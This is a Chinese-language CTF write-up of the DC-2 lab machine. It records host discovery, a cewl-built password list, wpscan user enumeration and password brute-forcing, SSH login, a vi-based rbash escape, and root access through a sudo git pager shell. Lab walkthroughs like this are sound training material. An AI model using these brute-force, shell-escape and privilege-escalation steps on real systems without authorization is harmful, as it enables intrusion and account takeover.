DC2靶机记录
2022-02-14 13:42:16

DC2 靶机记录

主机发现 内网其他主机省略

使用arp-scan 扫描发现主机指定网卡en0

sudo arp-scan --interface=en0 -l

1
172.16.27.xxx	00:0c:29:55:55:aa	VMware, Inc.

nmap查看相关信息

sudo nmap -p- 172.16.27.xxx -sV -O -vv

1
2
3
4
5
PORT     STATE SERVICE REASON         VERSION
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.10 ((Debian))
7744/tcp open ssh syn-ack ttl 64 OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)

OS details: Linux 3.2 - 4.9

访问80端口

不能访问自动跳转http://dc-2 修改hosts文件绑定ip与域名

1
2
3
4
5
6
7
127.0.0.1	localhost
127.0.1.1 kali
172.16.27.xxx dc-2 #添加该行
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

发现该该网站使用WordPress CMS Version:4.7.10

flag1

访问web页面发现flag目录发现flag1

1
2
3
4
5
Flag 1:
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
More passwords is always better, but sometimes you just can’t win them all.
Log in as one to see the next flag.
If you can’t find it, log in as another.

依据flag1提示使用cewl工具,尝试寻找隐藏在页面中的密码

cewl -w dc2_pwd.txt http://dc-2

dc2_pwd.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
sit
amet
nec
quis
vel
orci
site
non
sed
vitae
luctus
sem
Sed
leo
ante
content
nisi
Donec
turpis
Aenean
wrap
tincidunt
finibus
dictum
egestas
volutpat
justo
odio
eget
Vestibulum
ipsum
neque
erat
vestibulum
interdum
quam
sodales
nulla
suscipit
arcu
urna
dui
faucibus
sapien
blandit
nibh
tellus
auctor
nisl
sagittis
Suspendisse
laoreet
fermentum
Our
metus
eros
cursus
dignissim
Pellentesque
tortor
lacus
consectetur
convallis
velit
malesuada
Proin
rhoncus
mauris
placerat
commodo
enim
dolor
augue
purus
maximus
posuere
iaculis
molestie
WordPress
Integer
felis
lobortis
condimentum
Nullam
risus
nunc
porttitor
lacinia
imperdiet
porta
viverra
Curabitur
hendrerit
dapibus
diam
branding
header
navigation
entry
aliquam
ullamcorper
Nam
varius
feugiat
ultrices
ligula
scelerisque
congue
gravida
Feed
Mauris
vulputate
semper
elit
tristique
Maecenas
lorem
sollicitudin
Cras
bibendum
Praesent
libero
vehicula
euismod
ultricies
ornare
lectus
Flag
rutrum
fringilla
Morbi
Aliquam
Quisque
primis
magna
pulvinar
Phasellus
tempus
eleifend
elementum
another
What
People
Products
est
accumsan
venenatis
Etiam
pharetra
Fusce
efficitur
Just
Welcome
Nunc
massa
pellentesque
Duis
Nulla
cubilia
Curae
Vivamus
fames
facilisis
consequat
Skip
text
custom
Menu
top
masthead
pretium
potenti
post
main
primary
Proudly
powered
info
colophon
contain
page
Comments
RSD
mollis
mattis
habitant
morbi
senectus
netus
aliquet
tempor
you
Interdum
just
can
Scroll
down
Lorem
adipiscing
panel
facilisi
Orci
natoque
penatibus
magnis
dis
parturient
montes
nascetur
ridiculus
mus
Your
usual
wordlists
probably
won
work
instead
maybe
need
cewl
More
passwords
always
better
but
sometimes
win
them
all
Log
one
see
the
next
flag
find
log

有了密码尝试使用wpscan查找用户名

wpscan --url http://dc-2 --enumerate u

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[i] User(s) Identified:

[+] admin
| Found By: Rss Generator (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[+] jerry
| Found By: Wp Json Api (Aggressive Detection)
| - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[+] tom
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

尝试爆破密码(方法不唯一:wpscan/burpsuite/hydra..)

wpscan --url http://dc-2 --usernames dc2_uname.txt --passwords dc2_pwd.txt

1
2
3
[!] Valid Combinations Found:
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient

寻找flag2

已知WordPress后台登录地址:http://ip/wp-admin/

使用tom账号登录没有发现flag2
使用jerry账号登录后台发现flag2

http://dc-2/wp-admin/post.php?post=21&action=edit

1
2
3
Flag 2:
If you can't exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.

根据提示说尝试其他方式猜测使用ssh方式登录

使用tom&jerry账号登录ssh

直接登录jerry账号发现不能登录

尝试使用tom账号登陆成功
ssh tom@dc-2 -p7744

ls发现flag3

1
2
tom@DC-2:~$ ls
flag3.txt usr

使用cat发现提示报错

1
2
tom@DC-2:~$ cat flag3.txt
-rbash: cat: command not found

万般搜索绕过-rbash姿势

1
2
3
vi shell
:set shell=/bin/bash
:shell

绕过了-rbash限制,但仍未解决

1
2
tom@DC-2:~$ cat flag3.txt 
bash: cat: command not found

添加环境变量

1
2
tom@DC-2:~$ export PATH=$PATH:/bin/
tom@DC-2:~$ export PATH=$PATH:/usr/bin

flag3

tom@DC-2:~$ cat flag3.txt

1
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

flag4

依据flag3的提示尝试切换至jerry用户

su jerry 密码:adipiscing 可以成功登录发现flag4

1
2
3
4
jerry@DC-2:/home/tom$ cd ~
jerry@DC-2:~$ ls
flag4.txt
jerry@DC-2:~$

jerry@DC-2:~$ cat flag4.txt

1
2
3
4
Good to see that you've made it this far - but you're not home yet. 
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!

final_flag

依据flag4提示提权方式可能与git有关

1
2
3
4
5
jerry@DC-2:~$ sudo -l
Matching Defaults entries for jerry on DC-2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jerry may run the following commands on DC-2:
(root) NOPASSWD: /usr/bin/git

尝试提权

1
2
3
4
5
jerry@DC-2:~$ sudo git help config
在末端输入:`!/bin/bash`
root@DC-2:/home/jerry#
root@DC-2:/home/jerry# whoami
root

获得root权限尝试寻找finalflag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@DC-2:/home/jerry# cd ~
root@DC-2:~# ls
final-flag.txt
root@DC-2:~# cat final-flag.txt
__ __ _ _ _ _
/ / /\ \ \___| | | __| | ___ _ __ ___ / \
\ \/ \/ / _ \ | | / _` |/ _ \| '_ \ / _ \/ /
\ /\ / __/ | | | (_| | (_) | | | | __/\_/
\/ \/ \___|_|_| \__,_|\___/|_| |_|\___\/


Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.

If you enjoyed this CTF, send me a tweet via @DCAU7.